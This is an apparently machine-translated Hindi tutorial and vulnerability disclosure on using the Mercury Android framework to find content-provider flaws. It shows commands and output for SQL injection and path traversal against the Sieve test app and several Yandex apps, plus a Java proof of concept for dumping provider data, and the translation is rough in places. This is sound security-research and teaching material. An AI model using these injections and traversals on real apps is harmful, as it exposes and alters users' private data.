👩🏽‍✈️ ⛅️ 🙅🏿 मरकरी - एंड्रॉइड बग का संदेशवाहक 🕗 🥊 🙎

नमस्ते महिलाओं और सज्जनों। आज हम अपने और अन्य लोगों के एंड्रॉइड एप्लिकेशन में कमजोरियों का पता कैसे और कैसे लगाएं, इस पर गौर करेंगे। हम यह भी देखेंगे कि एक हमलावर इन कमजोरियों के लिए क्या कर सकता है। इसके अलावा, मैं उन कमजोरियों का उदाहरण दूंगा जो यैंडेक्स से " कीड़े के लिए शिकार " प्रतियोगिता के ढांचे में पाए गए थे।

परीक्षण विषय स्थापना

मोबाइल उपकरणों के लिए प्रोग्रामिंग के लिए, आप अनुसंधान के लिए हार्डवेयर और एमुलेटर का उपयोग कर सकते हैं। यदि वास्तविक उपकरणों के लिए कोई विशेष समस्याएं नहीं हैं, तो Google Play से एमुलेटर पर एपीके एप्लिकेशन इंस्टॉल करना कठिनाइयों का कारण बनता है। और यैंडेक्स से कार्यक्रम प्राप्त करने का सबसे आसान तरीका यह है।

हम एपीके-फ़ाइल प्राप्त करने के लिए विकल्पों का विश्लेषण करेंगे (कुछ पहले से ही हबर के पन्नों पर थे, लेकिन मैं दोहराऊंगा)।

एप्लिकेशन को एक वास्तविक डिवाइस में डाउनलोड करें और इसे adb का उपयोग करके कंप्यूटर पर स्थानांतरित करें।
- हम डिवाइस की उपलब्धता की जांच करते हैं:
```
adb devices 
```
- सभी इंस्टॉल किए गए एप्लिकेशन अपने "इंस्टॉलर" को / डेटा / ऐप फ़ोल्डर में संग्रहीत करते हैं:
```
 adb pull /data/app/ru.yandex.yandexmaps-1.apk C:\ 
```
  एंड्रॉइड ओएस प्रत्येक इंस्टॉल किए गए प्रोग्राम की नंबरिंग का उपयोग करता है, इसलिए अंत में यह "-1" या "-2" हो सकता है। या आप भविष्य के विश्लेषण के लिए / डेटा / ऐप अनुभाग से सभी इंस्टॉल किए गए एप्लिकेशन डाउनलोड कर सकते हैं:
```
 adb pull /data/app path_to_comp 
```
  अपने एलजी फोन से सभी कार्यक्रमों की प्रतिलिपि बनाएँ
एक अनौपचारिक एपीआई के साथ स्क्रिप्ट का उपयोग करें।

मैं एक विकल्प का उपयोग कर रहा हूं जो कि अजगर में लिखा है। यह गीथूब पर पोस्ट किया गया है, जावा में एक एनालॉग है। इसके संचालन के लिए, आपको एक वास्तविक डिवाइस के AndroidID की आवश्यकता होगी जो आपके या किसी अन्य Google खाते के साथ-साथ एक उपयोगकर्ता नाम और पासवर्ड या AuthToken से जुड़ा हो।

USSD कमांड टाइप करके AndroidID पाया जा सकता है:
```
 *#*#8255#*#* 
```
यहां सहायता पैरामीटर आपका AndroidID होगा। यह सब config.py फ़ाइल में दर्ज किया गया है। इसके अलावा, उदाहरण के लिए, आप कमांड के साथ बाजार पर सभी यैंडेक्स कार्यक्रम पा सकते हैं:
```
 search.py yandex 
```
निष्पादन परिणाम
Google को एमुलेटर पर एक शर्मनाक तरीके से इंस्टॉल करें।
उदाहरण के लिए, साइटों से डाउनलोड करें:
W3bsit3-dns.com - "फटे" वाले सहित सभी लोकप्रिय कार्यक्रम हैं, जो केवल संदर्भ के लिए हैं।
xda- डेवलपर्स - ज्यादातर "फ्री" या ओपन-सोर्स प्रोग्राम के लिए एपीके।
इस मामले में, एप्लिकेशन को सीधे ब्राउज़र के माध्यम से डिवाइस में स्थापित किया जा सकता है।

एमुलेटर में एप्लिकेशन इंस्टॉल करने के दो तरीके हैं:

इंस्टॉल किए गए एप्लिकेशन बटन के साथ ग्रहण में डीडीएमएस।
Via adb कमांड:
```
 adb install app.apk 
```

भेद्यता विश्लेषण टूलकिट

"मैनुअल" विश्लेषण के अलावा, हम जहां भी संभव हो "उद्धरण" सम्मिलित करते हैं, एंड्रॉइड एप्लिकेशन में कमजोरियों की खोज के लिए कई कार्यक्रम नहीं हैं। उनमें से सबसे लोकप्रिय हैं:

ScanDroid
पारा

ScanDroid एक रूबी स्क्रिप्ट है जो एक एप्लिकेशन से जावा कोड में डीएक्स क्लास को हटा देती है और कुछ नियमों के अनुसार, संभावित खतरनाक स्थानों को इंगित करने के लिए खोज करती है। दस्तावेज़ या कार्यक्रम के रचनाकारों से अधिक विवरण दस्तावेज़ में पाया जा सकता है। कार्यक्रम का स्रोत कोड भी वहां प्रस्तुत किया गया है।

बुध एक खुला स्रोत ढांचा है जिसे अजगर में लिखा गया है। यह इंटरेक्टिव टूल का एक सेट है जिसके साथ यह एंड्रॉइड डिवाइस पर सभी इंस्टॉल और रनिंग एप्लिकेशन के साथ इंटरैक्ट कर सकता है। और उसके साथ हम अपने परिचित को जारी रखेंगे।

बुध के साथ काम करें

2.2.0 संस्करण वर्तमान में उपलब्ध है, यह संस्करण 1+ की तुलना में पूरी तरह से नया रूप दिया गया है। लेकिन दोनों एक और दूसरे डाउनलोड के लिए उपलब्ध हैं, और पहले संस्करण के मामलों में, स्थापना सरल है और इसके लिए अधिक निर्भरता की आवश्यकता नहीं है।

आप मुख्य साइट या जीथब रिपॉजिटरी से वांछित संस्करण डाउनलोड कर सकते हैं। कार्यक्रम में ही दो भाग होते हैं:

क्लाइंट एक पायथन प्रोग्राम है जिसे हम कंप्यूटर पर चलाते हैं (यह सफलतापूर्वक * nix और windows दोनों में काम करता है)।
एजेंट (1+ संस्करणों में इस भाग को सर्वर कहा जाता था) एक एपीके एप्लीकेशन है जिसे ऊपर वर्णित किसी भी विधि का उपयोग करके स्थापित किया जा सकता है।

क्लाइंट-साइड स्थापना

लिनक्स (डेबियन जैसी)

निर्भरता स्थापना:

  $ apt-get install build-essential python-dev python-setuptools $ easy_install --allow-hosts pypi.python.org protobuf==2.4.1 $ easy_install twisted==10.2.0

बुध स्थापना:

  $ easy_install ./mercury-2.2.0-py2.7.egg

विंडोज

निर्भरता स्थापना:

आरंभ करने के लिए, निम्नलिखित प्रोग्राम डाउनलोड करें:
- पायथन: www.python.org/download
- setuptools: pypi.python.org/pypi/setuptools/0.6c11

इसके बाद, उन्हें निम्नलिखित मापदंडों से चलाएँ:

  C:\Python27\Scripts\easy_install.exe --allow-hosts pypi.python.org protobuf==2.4.1 C:\Python27\Scripts\easy_install.exe pyopenssl C:\Python27\Scripts\easy_install.exe pyreadline C:\Python27\Scripts\easy_install.exe twisted==10.2.0

विंडोज़ इंस्टॉलर को लॉन्च करें।

मैक ओएस एक्स

कोई आधिकारिक गाइड नहीं है, लेकिन चूंकि Xcode कमांड-लाइन टूल के साथ इंस्टॉल किया जा सकता है जिसमें easy_install उपलब्ध है, जब कमांड के माध्यम से इंस्टॉल करने की कोशिश की जा रही है

  $ easy_install ./mercury-2.2.0-py2.7.egg

यह सब एक सफल स्थापना के साथ समाप्त हुआ।

स्थापना उदाहरण

सर्वर स्थापना

ऊपर वर्णित किसी भी विधि द्वारा स्थापित:

adb install.apk
डीडीएमएस के माध्यम से।
सीधे साइट से डाउनलोड और इंस्टॉल करें ।

समायोजन

क्लाइंट और सर्वर को जोड़ने के लिए, हमें डिवाइस का आईपी पता चाहिए, यदि यह एक एमुलेटर है, तो हमें कमांड के साथ पोर्ट ट्रांसफर करने की आवश्यकता है:

 adb forward tcp:31415 tcp:31415

तदनुसार, स्कैनर के लिए आईपी पता 127.0.0.1 होगा।

एक वास्तविक डिवाइस पर, बस वाईफाई नेटवर्क की सूची में वांछित एक पर क्लिक करें और पॉप-अप विंडो गुणवत्ता, सुरक्षा के प्रकार और हमें आवश्यक आईपी पते के बारे में विस्तृत जानकारी के साथ दिखाई देगी।

कंप्यूटर से शुरू करने से पहले, एप्लिकेशन को डिवाइस पर चलाया जाना चाहिए। एंबेडेड सर्वर पर क्लिक करें और स्विच को "सक्षम" स्थिति में बदल दें। दूसरे संस्करण से शुरू करके, इसे ssl के माध्यम से ट्रैफ़िक को एन्क्रिप्ट करने और पासवर्ड सेट करने की अनुमति है।

एक एमुलेटर में एजेंट शुरू करने का एक उदाहरण

कमजोरियों की तलाश

डिवाइस से जुड़ें।
विंडोज:

 C:\Python27\Scripts\>python mercury console connect IP

पारा कंसोल चल रहा है

यूनिक्स:

  mercury console connect IP

सभी स्थापित मॉड्यूल की सूची को निम्नलिखित कमांड द्वारा कहा जाता है:

 list

सूची कमांड आउटपुट

लेख में हम सभी पर विचार नहीं करेंगे, लेकिन केवल वे जो आपको वास्तविक उदाहरणों के साथ कमजोरियों को खोजने की अनुमति देते हैं।

डेवलपर्स द्वारा प्रस्तावित पहला प्रायोगिक कार्यक्रम चलनी होगा।
पहले हमें प्रोग्राम (पैकेज) का नाम पता लगाना होगा। ऐसा करने के लिए कई विकल्प हैं:

कमांड चलाएँ:
```
 mercury> run app.package.list 
```
और सूची में तुम्हारा पता लगाएं। या आप एक फिल्टर जोड़ सकते हैं, उदाहरण के लिए, हमारे मामले में:
```
 mercury> run app.package.list –f sieve 
```
किसी भी फ़ाइल प्रबंधक के माध्यम से स्वयं / डेटा / डेटा फ़ोल्डर देखें।
और अन्य…।

नतीजतन, हमें नाम मिलता है - com.mwr.example.sieve

आज के लेख में, हम कमजोरियों पर विचार करेंगे, जिनमें से एक को एंड्रॉइड ओएस में देखने की उम्मीद नहीं थी, फिर भी यह वेब से अधिक संबंधित है:

Sql Injection।
मनमानी फाइलें (LFI) पढ़ें।

खैर, हम जारी रखें। आवेदन के बारे में जानकारी प्राप्त करें:

 mercury> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable

गतिविधि - Android अनुप्रयोगों की एक प्रतिनिधित्व योजना है। उदाहरण के लिए, मुख्य स्क्रीन जिसे उपयोगकर्ता प्रोग्राम को खोलते समय देखता है। या डेवलपर को बग रिपोर्ट भेजने के लिए एक फ़ॉर्म।
सेवाएं - उपयोगकर्ता इंटरफ़ेस प्रदान किए बिना पृष्ठभूमि कार्य करता है।
सामग्री प्रदाता - अनुप्रयोगों को डेटा प्रदान करता है, सबसे अधिक बार अनुप्रयोग डेटाबेस को सिकुड़ता है। अन्य अनुप्रयोगों से बुलाया जा सकता है।
ब्रॉडकास्ट रिसीवर (प्रसारण प्राप्तकर्ता) - सिस्टम संदेश प्राप्त करता है और अंतर्निहित उद्देश्य, सिस्टम स्थिति में परिवर्तन का जवाब देने के लिए उपयोग किया जा सकता है।

आप विशेष रूप से एंड्रॉइड डेवलपमेंट ट्यूटोरियल हैबर के पृष्ठों पर एंड्रॉइड एप्लिकेशन की संरचना के बारे में अधिक पढ़ सकते हैं। इस बीच, हम सामग्री प्रदाताओं के साथ सौदा करेंगे। हम उपलब्ध की सूची को देखते हैं:

 mercury> run app.provider.finduri com.mwr.example.sieve Scanning com.mwr.example.sieve... content://com.mwr.example.sieve.DBContentProvider/ content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Keys content://com.mwr.example.sieve.FileBackupProvider

मर्करी एपीके फ़ाइल को अनपैक करता है और फिर उसे स्कैन करता है, जिसमें रेग्युलर एक्सप्रेशंस का उपयोग करते हुए, "Content: //" और एंड्रॉइड मैनइफ़ेस्टएक्सएक्सएक्स फ़ाइल में प्रोवाइडर्स ब्लॉक की मौजूदगी होती है। अपने अभ्यास में, मैं उस समय सामने आया जब डेवलपर्स ने खुद को इससे बचाने के लिए, विभिन्न तरीकों का उपयोग करके तार को एन्क्रिप्ट किया, इसलिए मुझे एप्लिकेशन को मैन्युअल रूप से रिवर्स करना पड़ा।

चूंकि सामग्री प्रदाता सबसे अधिक बार एप्लिकेशन के sqlite डेटाबेस तक पहुंच प्रदान करता है, इसलिए हम साधारण sql प्रश्नों को पार्स करेंगे। हम केवल चयन पर ध्यान केंद्रित करेंगे, क्योंकि मुझे लगता है कि प्रश्नों को सम्मिलित करने, अद्यतन करने और हटाने के साथ कोई समस्या नहीं होगी।

मुझे लगता है कि पासवर्ड मुझे आकर्षित करने वाला पहला नहीं है, तो आइए इस प्रदाता से शुरू करें:

 mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords | _id | service | username | password | email | | 1 | habr | root | uVYNVnRWZxRM355wU3PqdCTpYc8= (Base64-encoded) | root@main.habr |

और हम क्वेरी से सभी जानकारी प्राप्त करते हैं, अब चलो अच्छे पुराने sql इंजेक्शन की कोशिश करते हैं। मैं आपको एक बार फिर याद दिलाता हूं कि एंड्रॉइड एप्लिकेशन में साइक्लाइट का उपयोग किया जाता है, हम sqlite_master (पूरे डेटाबेस की संरचना) के लिए एक अनुरोध करेंगे:

 mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* FROM sqlite_master--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) | | table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email) | | table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) | | index | sqlite_autoindex_Key_1 | Key | 6 | null |

जैसा कि आप देख सकते हैं, हमारा एसक्यूएल इंजेक्शन सफल रहा, और हमें संपूर्ण डेटाबेस संरचना मिली: उनमें टेबल और फ़ील्ड। वैसे, अन्य sqlite फ़ंक्शन भी यहां काम करते हैं, उदाहरण के लिए, आप डेटाबेस संस्करण संख्या पा सकते हैं:

 mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "sqlite_version();--" | sqlite_version() | | 3.7.4 |

इस एप्लिकेशन में शेष भेद्यता होमवर्क के लिए रहेगी, लेकिन अब लेख की शुरुआत में वापस आ गया है, जहां मैंने यैंडेक्स के अनुप्रयोगों के बारे में बात करने का वादा किया था। पारा के लिए धन्यवाद, ऑपरेशन का प्रदर्शन सरल किया गया था, क्योंकि पहले मुझे अपने स्वयं के अनुप्रयोगों (पीओसी) को लिखना था।

PoC स्रोत कोड की अनिवार्यता

 //    2      -:         sql-   “* FROM sqlite_master--“ //     // uri – content provider // projectionArray –   , : “* FROM sqlite_master—“ public static ArrayList<String> getColumns (ContentResolver resolver, String uri, String[] projectionArray) { ArrayList<String> columns = new ArrayList<String>(); try { Cursor c = resolver.query(Uri.parse(uri), projectionArray, null, null, null); if (c != null) { String [] colNames = c.getColumnNames(); c.close(); for (int k = 0; k < colNames.length; k++) columns.add(colNames[k]); } } catch (Throwable t) {} return columns; } // « »,     -    // target – content-provider // projection –   public String make_shoot(String target, String projection) { ContentResolver r = getContentResolver(); String[] projectionArray = null; if (projection.length() > 0) { projectionArray = new String[1]; int i = 0; projectionArray[i] = projection; } String data = ""; Cursor c = r.query(Uri.parse(target), projectionArray, null, null, null); if (c != null) { ArrayList<String> cols = getColumns(r, target, projectionArray); Iterator<String> it = cols.iterator(); String columns = ""; while (it.hasNext()) columns += it.next() + " | "; data += columns.substring(0, columns.length() - 3); data += "\n\n"; for (c.moveToFirst(); !c.isAfterLast(); c.moveToNext()) { int numOfColumns = c.getColumnCount(); for (int l = 0; l < numOfColumns; l++) { try { data += c.getString(l); } catch (Exception e) { data += "(blob) " + Base64.encodeToString(c.getBlob(l), Base64.DEFAULT); } if (l != (numOfColumns - 1)) data += " | "; } } } return data; }

नीचे मैं त्रुटि जानकारी भेजने के बाद 90 दिनों की सीमा के कारण मिली कुछ कमजोरियों को प्रदर्शित करूंगा।

एक उदाहरण के रूप में पहले आवेदन का उपयोग करना, हम एक अन्य प्रकार की भेद्यता पर विचार करेंगे। सामग्री प्रदाताओं के माध्यम से एसक्यूएल इंजेक्शन के अलावा, आप कई सिस्टम फाइलों और किसी भी फाइल के लिए एक "ओपन पाथ" हमले को अंजाम दे सकते हैं, जिसके लिए कमजोर एप्लिकेशन तक पहुंच होती है। Yandex.Disk एप्लिकेशन में इस तरह की भेद्यता पाई गई। किसी भी उपयोगकर्ता के लिए उपलब्ध प्रदाता सामग्री थी: //ru.yandex.disk.cache। सबसे पहले, सिस्टम फ़ाइल तक पहुँच की जाँच करें:

 mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../system/etc/hosts 127.0.0.1 localhost

अब कुछ और अधिक दिलचस्प उपयोग करने का प्रयास करें। उदाहरण के लिए, एप्लिकेशन डेटाबेस में। मैं आपको याद दिलाता हूं कि हमारे एप्लिकेशन साइक्लाइट का उपयोग करते हैं और डेटाबेस को उनके फ़ोल्डर में एक अलग फ़ाइल में संग्रहीत करते हैं, जो केवल रूट और उसी एप्लिकेशन तक पहुंचता है:

 mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../../data/data/ru.yandex.disk/databases/disk

सिस्टम वर्णों के कारण, कट के तहत कमांड का आउटपुट

जैसा कि आप देख सकते हैं, हमें Yandex.disk में संग्रहीत सभी फ़ाइलों की एक सूची मिलती है। इसके अलावा, एप्लिकेशन कैश का उपयोग करता है, इसलिए, आप किसी भी फ़ाइल का उल्लेख कर सकते हैं जिसे उपयोगकर्ता ने मोबाइल एप्लिकेशन का उपयोग करके खोला था और उसके बाद अस्थायी फ़ाइलों के साथ फ़ोल्डर को साफ़ नहीं किया था। उदाहरण के लिए, एक उपयोगकर्ता ने यैंडेक्स के साथ काम करने पर एक दस्तावेज़ खोला।

 mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../sdcard/Android/data/ru.yandex.disk/files/disk/readme.pdf

हमला करने के लिए, हमें कैश डायरेक्टरी को जानना होगा, लेकिन यह मानक है, और फ़ाइल नाम पिछले अनुरोध के साथ एप्लिकेशन डेटाबेस से प्राप्त किया जा सकता है।

आपके PoC में, प्रदाता को यह कॉल फ़ंक्शन के माध्यम से लागू किया जा सकता है:

 resolver.openInputStream(uri)

उपयोगकर्ता के बुकमार्क के लिए जिम्मेदार सामग्री प्रदाता में एक और भेद्यता पाई गई, और किसी भी एप्लिकेशन को उन्हें बदलने की अनुमति दी:

 mercury> run app.provider.query content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels geocode | label_name_tolower | lon | date | label_name | _id | lat , ,  , 2/417 | Neuronspace.ru | 37.5732 | 1352196244367 | Neuronspace.ru | 1 | 55.7137 , ,  , 2/417 | Work | 37.5732 | 1352196427356 | Work | 2 | 55.7137 : update content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels --string label_name_tolower=Home label_name=Home --where _id=2 query content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels geocode | label_name_tolower | lon | date | label_name | _id | lat , ,  , 2/417 | Neuronspace.ru | 37.5732 | 1352196244367 | Neuronspace.ru | 1 | 55.7137 , ,  , 2/417 | Home | 37.5732 | 1352196427356 | Home | 2 | 55.7137

तो काम घर बन गया। या आप जगह के निर्देशांक को बदल सकते हैं और फिर उपयोगकर्ता गलत पते पर पहुंच जाएगा ...

अगला संवेदनशील कार्यक्रम यैंडेक्स.इलेक्ट्रिक्स है। डेटा में हेरफेर करने की क्षमता के साथ डेटाबेस में एसक्यूएल इंजेक्शन जैसी भेद्यता की भी खोज की गई थी।

 mercury> run app.provider.query content://ru.yandex.rasp/files --projection "* FROM sqlite_master--" type | name | tbl_name | rootpage | sql ..... table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) table | files | files | 4 | CREATE TABLE files (_id integer primary key autoincrement, etag text, last_modified text, name text, region text,last_updated long,UNIQUE (name)) index | sqlite_autoindex_files_1 | files | 5 | null table | sqlite_sequence | sqlite_sequence | 6 | CREATE TABLE sqlite_sequence(name,seq) table | recent_stations | recent_stations | 7 | CREATE TABLE recent_stations (_id integer primary key autoincrement, region text, is_meta int,station_id text, UNIQUE (station_id, region)) index | sqlite_autoindex_recent_stations_1 | recent_stations | 8 | null table | favourite_stations | favourite_stations | 9 | CREATE TABLE favourite_stations (_id integer primary key autoincrement, station1 text, station1_meta int,station1_title text, station2 text,station2_meta int,station2_title text, current_from text, data_state int, identifier text, mirror_presented int, UNIQUE (identifier)) index | sqlite_autoindex_favourite_stations_1 | favourite_stations | 10 | null

डेटा परिवर्तनों के उदाहरण के लिए, फ़ाइल कैश में पथ बदलें:

 mercury> run app.provider.update content://ru.yandex.rasp/files --string name "/system/sdcard/hack.txt” --where _id=2 _id | etag | last_modified | name | region | last_updated ..... 2 | 9bcbdc0620af50eadead14cdee81a1ded08f0259 | null | /system/sdcard/hack.txt | 213 | 1352462705854 1 | 548f13c285590c4bc8df665613d2d80e7be4678a | null | /data/data/ru.yandex.rasp/cache/all_cities.cache | | 1352462705064

इस भेद्यता के कारण, एक हमलावर पसंदीदा और हाल के स्टेशनों की सूचियों को पढ़ और संशोधित कर सकता है। इसके अलावा, कैश को पथ बदलने से एप्लिकेशन को "ड्रॉप" किया जा सकता है या यदि उपयोगकर्ता के पास उस समय कोई इंटरनेट नहीं था तो शेड्यूल को बदल दें।

अंतिम, आज के लिए, कमजोर कार्यक्रम - Yandex.Taxi। इस बार मैं केवल एक सूची दूंगा और उनके साथ क्या किया जा सकता है। कई सामग्री प्रदाता कमजोर हो गए:
पहला: सामग्री: //ru.yandex.taxi/taxi
उपयोगकर्ता को उपलब्ध टैक्सियों की सूची प्राप्त करने और बदलने की अनुमति है। मैं वास्तव में नहीं जानता कि क्या मैं अपनी कार को उपयोगकर्ता के लिए फेंक सकता था, क्योंकि कॉल एक लाइव ऑपरेटर के माध्यम से जाता है, लेकिन आप निकटतम टैक्सी से नंबर और अन्य जानकारी उपयोगकर्ता को प्राप्त कर सकते हैं। बाकी इतने दिलचस्प नहीं हैं:

सामग्री: //ru.yandex.taxi/history - जैसा कि नाम का तात्पर्य है, इसने खोज और कॉल दोनों के इतिहास तक पहुंच की अनुमति दी।
सामग्री: //ru.yandex.taxi/delay_order - ऑर्डर इतिहास तक पहुंच।

इस तरह की जानकारी की आवश्यकता हर हमलावर को नहीं होगी, लेकिन कुछ "ईर्ष्यालु" या "निजी" जासूस दिलचस्प होंगे।

लेकिन इस तरह की कमजोरियों के बीच मुख्य अंतर यह है कि एक दुर्भावनापूर्ण एप्लिकेशन जो ऊपर वर्णित सब कुछ करता है उसे किसी अतिरिक्त अधिकार की आवश्यकता नहीं है। एक हमलावर उपयोगकर्ता को नए वॉलपेपर लगाने की पेशकश कर सकता है, और चूंकि अधिकांश लोगों ने सीखा है कि यदि एप्लिकेशन को स्थापित करने के लिए अजीब अधिकारों की आवश्यकता होती है, उदाहरण के लिए, वीडियो देखने के लिए एप्लिकेशन को एसएमएस भेजने और एसडी कार्ड माउंट करने का अधिकार चाहिए। लेकिन उन्होंने कुछ भी अजीब नहीं देखा और उन्हें लगा कि स्थापना से कोई समस्या नहीं होगी। या किसी अन्य अनुप्रयोग में इस तरह की कार्यक्षमता को एम्बेड करें, उदाहरण के लिए, हमारे किसी भी नाराज पक्षियों में ...

बुध की अन्य विशेषताएं

इसमें शामिल स्कैनर भी हैं जो डिवाइस पर सभी इंस्टॉल किए गए प्रोग्रामों के माध्यम से जाएंगे और आपके द्वारा चुने गए भेद्यता के प्रकार का स्वचालित रूप से फायदा उठाने की कोशिश करेंगे। पिछले प्रकार की कमजोरियों के लिए स्कैनर:

Scan.provider.injection - एसक्यूएल इंजेक्शन की संभावना के लिए परीक्षण
Scan.provider.traversal - किसी भी उपलब्ध फ़ाइल को पढ़ने की क्षमता के लिए परीक्षण

पथ प्रकटीकरण भेद्यता स्कैनर का एक उदाहरण

सबसे पहले, सामग्री प्रदाताओं की एक सूची जिसे हम परीक्षण करेंगे, प्रदर्शित किया जाता है, और अंत में, परिणाम जो या तो ऊपर और / या पीछे से कमांड द्वारा चेक किए जाते हैं।

कुछ स्कैनर के लिए, आपको डिवाइस पर बिजीबॉक्स इंस्टॉल करना होगा:

 mercury> run scanner.misc.readablefiles This command requires BusyBox to complete. Run tools.setup.busybox and then retry. mercury> run tools.setup.busybox BusyBox installed. mercury>

निष्कर्ष

इस लेख में, हमने एंड्रॉइड एप्लिकेशन - पारा में कमजोरियों की खोज के लिए एक सार्वभौमिक उपकरण के साथ मुलाकात की। हमने एंड्रॉइड एप्लिकेशन - सामग्री प्रदाताओं में से एक के साथ काम करने के तरीके के बारे में विस्तार से जांच की। गतिविधि, सेवाएँ और ब्रॉडकास्ट रिसीवर अनलिमिटेड बने रहे। भविष्य में, यह पाया जाता है कि इस तरह की भेद्यता के लिए पारा का उपयोग कैसे किया जा सकता है, इसकी कमजोरियों के उदाहरण को खोजने और दिखाने की योजना है। यह विश्लेषण के लिए अन्य कार्यक्रमों से अधिक निकटता से परिचित होने की योजना भी है।

हम तत्काल प्रतिक्रिया के लिए यैंडेक्स सुरक्षा विभाग के विशेषज्ञों को धन्यवाद देते हैं! और अनुप्रयोग डेवलपर्स - पाया पहचान की धीमी लेकिन सच;) सुधार के लिए।

मरकरी - एंड्रॉइड बग का संदेशवाहक